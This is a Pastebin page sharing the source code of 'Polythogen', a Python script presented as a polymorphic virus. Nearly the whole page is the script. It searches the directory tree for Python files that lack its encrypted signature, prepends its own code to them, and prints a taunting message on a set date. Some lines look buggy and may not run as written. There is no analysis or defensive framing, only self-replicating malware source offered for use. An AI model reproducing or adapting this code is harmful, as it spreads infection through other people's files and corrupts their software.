Advertisement
FlyFar

Polythogen - A Python Polymorphic Virus - Source Code

Jun 28th, 2023
1,365
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.54 KB | Cybersecurity | 0 0
  1. import os
  2. import random
  3. import datetime
  4. match = ""
  5. matchkey = 9
  6. key = random.randrange(3, 10)
  7. print ("Key: ")
  8. print (key)
  9. decodeKey = 1
  10. pos = 0
  11. encryptedSIG = ""
  12. SIGNATURE = "POLYTHOGEN POLYMORPHIC VIRUS"
  13. decodeKey = int(SIGNATURE[0])
  14. SIGNATURE = SIGNATURE[:pos] + SIGNATURE[(pos+1):]
  15. print ("SIG: ")
  16. print (SIGNATURE)
  17. for i in SIGNATURE:
  18.     temp = ord(i) - decodeKey
  19.     matchtemp = chr (temp)
  20.     temp = chr(key + temp)
  21.     encryptedSIG += temp
  22.     match += matchtemp
  23. encryptedSIG = str(key) + encryptedSIG
  24. #print (decodeKey)
  25. #print (encryptedSIG)
  26. def search(path):
  27.     breaker = 0
  28.     tempmatch = ""
  29.     filestoinfect = []
  30.     filelist = os.listdir(path)
  31.     for fname in filelist:
  32.         tempmatch = ""
  33.         print ("FILENamE:")
  34.         print (fname)
  35.         if os.path.isdir(path+"/"+fname):
  36.             filestoinfect.extend(search(path+"/"+fname))
  37.         elif fname[-3:] == ".py":
  38.             infected = False
  39.             k = open(path+"/"+fname)
  40.             for i, line in enumerate(k):
  41.                 breaker = 0
  42.                 if i == 11 and line[13].isdigit():
  43.                     #print (line)
  44.                     matchkey = line[13]
  45.                     print ("MATCHKeY: ")
  46.                     print (matchkey)
  47.                     for j in range(14, 33):
  48.                         tempmatch += chr(ord(line[j]) - int(matchkey))
  49.                 print ("TEMPTMATCH")
  50.                 print (tempmatch)
  51.                 print (match)
  52.                 if match == tempmatch:
  53.                     infected = True
  54.                     print ("THIS IS TRUE")
  55.                     breaker = 1
  56.                     break
  57.             if breaker == 1:
  58.                 print ("BRKEN")
  59.             if infected == False:
  60.                 filestoinfect.append(path+"/"+fname)
  61.     return filestoinfect
  62. def infect(filestoinfect):
  63.     virus = open(os.path.abspath(__file__))
  64.     virusstring = ""
  65.     for i,line in enumerate(virus):
  66.         if i>0 and i<84 and i != 11:
  67.             virusstring += line
  68.         if i == 10:
  69.             virusstring += "SIGNATURE = \"" + encryptedSIG + "\"\n"
  70.     virus.close
  71.     for fname in filestoinfect:
  72.         f = open(fname)
  73.         temp = f.read()
  74.         f.close()
  75.         f = open(fname,"w")
  76.         f.write("import os\n" + virusstring + temp)
  77.        
  78.         f.close()
  79. def bomb():
  80.     if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
  81.         print ("HAHA YOU ARE AFFECTED BY VIRUS!")
  82. filestoinfect = search(os.path.abspath(""))
  83. infect(filestoinfect)
  84. bomb()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement